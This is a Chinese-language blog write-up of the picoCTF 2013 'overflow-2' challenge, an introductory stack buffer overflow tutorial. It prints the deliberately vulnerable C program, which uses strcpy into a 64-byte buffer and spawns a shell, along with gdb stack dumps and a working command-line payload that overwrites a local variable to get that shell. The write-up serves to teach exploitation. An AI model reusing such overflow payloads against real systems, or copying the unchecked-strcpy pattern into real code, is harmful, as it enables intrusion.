pico-ctf-2013 overflow-2
栈溢出入门系列入门教程二
overflow2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"void vuln(int win, char *str) {char buf[64];strcpy(buf, str);dump_stack((void **) buf, 23, (void **) &win);printf("win = %d\n", win);if (win == 1) {execl("/bin/sh", "sh", NULL);} else {printf("Sorry, you lose.\n");}exit(0);
}int main(int argc, char **argv) {if (argc != 2) {printf("Usage: stack_overwrite [str]\n");return 1;}uid_t euid = geteuid();setresuid(euid, euid, euid);vuln(0, argv[1]);return 0;
}
dump_stack:打印当前cpu的堆栈.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
由此可见,该程序相当脆弱.只要我们溢出数据,使win为1即可.
两种方法:
方法一:
gdb --args ./overflow2 $(python -c "print 'A'*64+'B'*4")
gdb调试,由于源代码中有if,于是我们进入vuln函数,找到了if对应的汇编代码,如下:
0x8048666 <vuln+62>: mov DWORD PTR [esp],eax
0x8048669 <vuln+65>: call 0x80483f0 <printf@plt>
0x804866e <vuln+70>: mov eax,DWORD PTR [ebp+0x8]
**0x8048671 <vuln+73>: cmp eax,0x1**
0x8048674 <vuln+76>: jne 0x8048694 <vuln+108>
0x8048676 <vuln+78>: mov DWORD PTR [esp+0x8],0x0
可见这次是拿地址为ebp+0x8的内容与1相比较.同本系列第一篇一样,在cmp出下断点,查看栈中的内容.
gdb-peda$ x/90x 0xffffce20
0xffffce20: 0x410x410x410x410x410x410x410x41
0xffffce28: 0x410x410x410x410x410x410x410x41
0xffffce30: 0x410x410x410x410x410x410x410x41
0xffffce38: 0x410x410x410x410x410x410x410x41
0xffffce40: 0x410x410x410x410x410x410x410x41
0xffffce48: 0x410x410x410x410x410x410x410x41
0xffffce50: 0x410x410x410x410x410x410x410x41
0xffffce58: 0x410x410x410x410x410x410x410x41
0xffffce60: 0x420x420x420x420x000xf10xea0xf7
0xffffce68: 0x980xce0xff0xff0x0b0x870x040x08
0xffffce70: 0x000x000x000x000x650xd10xff0xff
0xffffce78: 0xe80x03
对应截图:
ebp+0x8=0xffffce70,0xffffce70与char数组相差0x50(0xffffce70-0xffffce20).于是乎构造出
./overflow2 $(python -c "print 'A'*80+'\x01\x00\x00\x00'")
结果图:
其实前本系列前两篇文章思路差不多.
方法二:思路就是写一个自动化脚本,来循环判断是否溢出成功.实现还是有点困难,以后再写.
注:由于操作系统的原因,一些地址可能会有不同,在此一定要以你的电脑上的地址为准.附带相关文件地址:文件地址.欢迎评论!!!
pico-ctf-2013 overflow-2相关推荐
- xman day03 pwn海无涯,回头是岸
PWN 基础 必备基础 C,python 计算机组成与原理 汇编语言 linux操作系统 ida.GDB 特别的 got/plt elf文件结构 函数调用的栈结构 堆(不同大小的堆 ...
- 如何开始你的CTF比赛之旅
在过去的两个星期里,我已经在DEFCON 22 CTF里检测出了两个不同的问题:"shitsco"和"nonameyet".感谢所有的意见和评论,我遇到的最常见 ...
- CTF-数据分析(二)
声明:以下CTF题均来自网上收集,在这里主要是给新手们涨涨见识,仅供参考而已.需要题目数据包的请私信或在下方留言. 3.数据包分析-Forensics- ...
- CTF 之 Forensics 取证
这篇文章列出了CTF中Forensics(取证)类型题的技巧和窍门,展示了CTF中常用工具的使用场景和使用方法. 文件格式(File Formats) 十六进制文件头和对应ASCII码 通过查看文件头 ...
- 2013年工作中遇到的20个问题:181-200
每个人在工作中遇到的问题,很多都是类似的.了解别人遇到的问题,自己遇到的时候就可以很快地解决它. 很多人不屑于这种"细节问题",但我想说,掌握这些细节问题一次可能只能帮你节省1s的 ...
- 基于用户投票的排名算法(三):Stack Overflow
作者: 阮一峰 日期: 2012年3月11日 上一篇文章,我介绍了Reddit的排名算法. 它的特点是,用户可以投赞成票,也可以投反对票.也就是说,除了时间因素以外,只要考虑两个变量就够了. 但是,还 ...
- 亲爱的,热爱的~CTF
亲爱的,热爱的~CTF 作者:炸炸呼呼 来源:微信公众号:疼疼痒痒小家园 最近真的是被电视剧<亲爱的,热爱的>刷屏,奔着给大半个娱乐圈戴了绿帽子的"现男友"和" ...
- Stack Overflow 2016 最新架构探秘
原文:http://nickcraver.com/blog/2016/02/17/stack-overflow-the-architecture-2016-edition/ 转载:http://www ...
- 微软2013年校园实习生招聘笔试题及答案
原文: http://www.wangkaimin.com/2013/04/07/%e5%be%ae%e8%bd%af2013%e5%b9%b4%e6%a0%a1%e5%9b%ad%e5%ae%9e% ...
- Stack Overflow 2016年对50,000名开发人员进行的调查得出的见解
Today, Stack Overflow released the results of their 2016 survey of more than 50,000 developers. 今天,S ...
最新文章
- 整体思考自动化测试发展和价值回报
- 连接器篇(二) 高频系列
- SAP Spartacus路由参数的默认配置
- 自适应滤波实例之系统辨识
- Dart 2-Day
- 【c语言】指针数组和数组指针-解释和用法
- SpringBoot整合kafka案例
- 小灰的算法之旅python篇pdf_漫画算法 小灰的算法之旅 Python篇
- arping指令linux,arping
- 问卷:城市名 转换成 城市线:一线、新一线、二三四五线
- Java实现浏览器下载文件
- 64位win7旗舰版java_win7 64位旗舰版下载_lenovo windows7 64位旗舰版笔记本专用系统_软件侠下载站...
- linux 串口/dev/ttyS0测试(UART0)
- 解析范式(1NF-4NF)
- 这年头视频编辑软件也开始内卷了,功能这么强居然免费
- 微观经济学案例分析(四)
- 极路由b70路由器虚拟服务器,极路由B70刷固件详细步骤说明(整合其它坛友经验)-少走弯路,造福坛友...
- MacOS打印自定义尺寸配置教程
- 缺陷轰炸和beta测试详解
- 协处理器CP15介绍—MCR/MRC指令(6)
热门文章
- 机器人时代 - 电子书下载(高清版PDF格式+EPUB格式)
- 很简单的html+js,程序员的浪漫,可以让你小女朋友点开哈。哈哈哈
- 暴力解决Centos6YUM下Loaded plugins: fastestmirror Determining fastest mirror和Could not retrieve mirro
- 使用turtle库,绘制一个正方形。
- 矩阵连乘 动态规划_如何构建移动营销时代的“动态矩阵”?
- 解读7种水质对咖啡口感的影响
- 耳机串音问题解决(crosstalk)
- 如何在计算机里查找最新文件,在电脑上怎么查找目标文件
- minio对象存储原理_使用MinIO在本地运行S3对象存储
- 酷狗免费下载歌曲(网易云同样适用)